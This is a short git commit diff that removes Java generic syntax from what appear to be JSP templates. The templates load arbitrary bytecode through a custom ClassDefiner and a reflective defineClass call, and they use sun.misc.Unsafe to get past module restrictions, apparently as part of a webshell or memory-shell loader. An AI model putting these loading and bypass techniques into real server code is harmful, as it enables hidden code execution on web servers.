refactor: rm jsp generic syntax

This commit is contained in:
ReaJason
2026-02-08 20:44:00 +08:00
parent 956c7c086d
commit 874bd29527
3 changed files with 4 additions and 4 deletions
@@ -4,7 +4,7 @@
super(classLoader); super(classLoader);
} }
public Class<?> defineClass(byte[] code) { public Class defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); return defineClass(null, code, 0, code.length);
} }
} }
@@ -6,7 +6,7 @@
public ClassDefiner(ClassLoader classLoader) { public ClassDefiner(ClassLoader classLoader) {
super(classLoader); super(classLoader);
} }
public Class<?> defineClass(byte[] code) { public Class defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); return defineClass(null, code, 0, code.length);
} }
} }
@@ -4,7 +4,7 @@
long offset = 48; long offset = 48;
java.lang.reflect.Method getAndSetObjectM = null; java.lang.reflect.Method getAndSetObjectM = null;
try { try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
unsafe = unsafeField.get(null); unsafe = unsafeField.get(null);
@@ -28,7 +28,7 @@
} }
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true); defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) { if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
} }